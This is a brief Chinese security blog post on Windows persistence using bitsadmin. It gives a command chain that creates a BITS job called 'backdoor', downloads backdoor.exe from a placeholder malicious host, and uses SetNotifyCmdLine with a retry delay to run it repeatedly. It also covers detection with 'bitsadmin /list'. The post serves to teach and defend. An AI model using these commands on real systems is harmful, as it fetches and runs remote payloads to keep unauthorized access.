【权限维持技术】Windows Bitsadmin命令

免责声明

本文仅用于技术讨论与学习，利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者及本公众号不为此承担任何责任。

Bitsadmin

bitsadmin /create myDownloadJob bitsadmin /addfile myDownloadJob https://example.com/file.zip C:pathtofile.zip bitsadmin /resume myDownloadJob

复现

1.  Bitsadmin可以允许用户执行cmd命令，因此可以利用这个特性来进行权限维持
   

2. 首先构建好我们的Bitsadmin命令：

bitsadmin /create backdoorbitsadmin /addfile backdoor "http://evil.exe/backdoor.exe"  "C:1.exe"bitsadmin /SetNotifyCmdLine backdoor C:1.exe NULbitsadmin /SetMinRetryDelay "backdoor" 60 bitsadmin /resume backdoor

3. 这一段命令的含义为：

• 创建作业，名为backdoor
• 使用addfile将文件保存本地
• 使用SetNotifyCmdLine设定将执行的命令
• 使用SetMinRetryDelay定义时间回调（秒）
• 开始工作

防范

1. 建议直接删除该工具，因为绝大部分情况下不需要
   

2. 这种方法可以绕过目前所有启动项检查工具，需要通过bistamin命令检测：

   bitsadmin /list /allusers /verbose

原文始发于微信公众号（赛博安全狗）：【权限维持技术】Windows Bitsadmin命令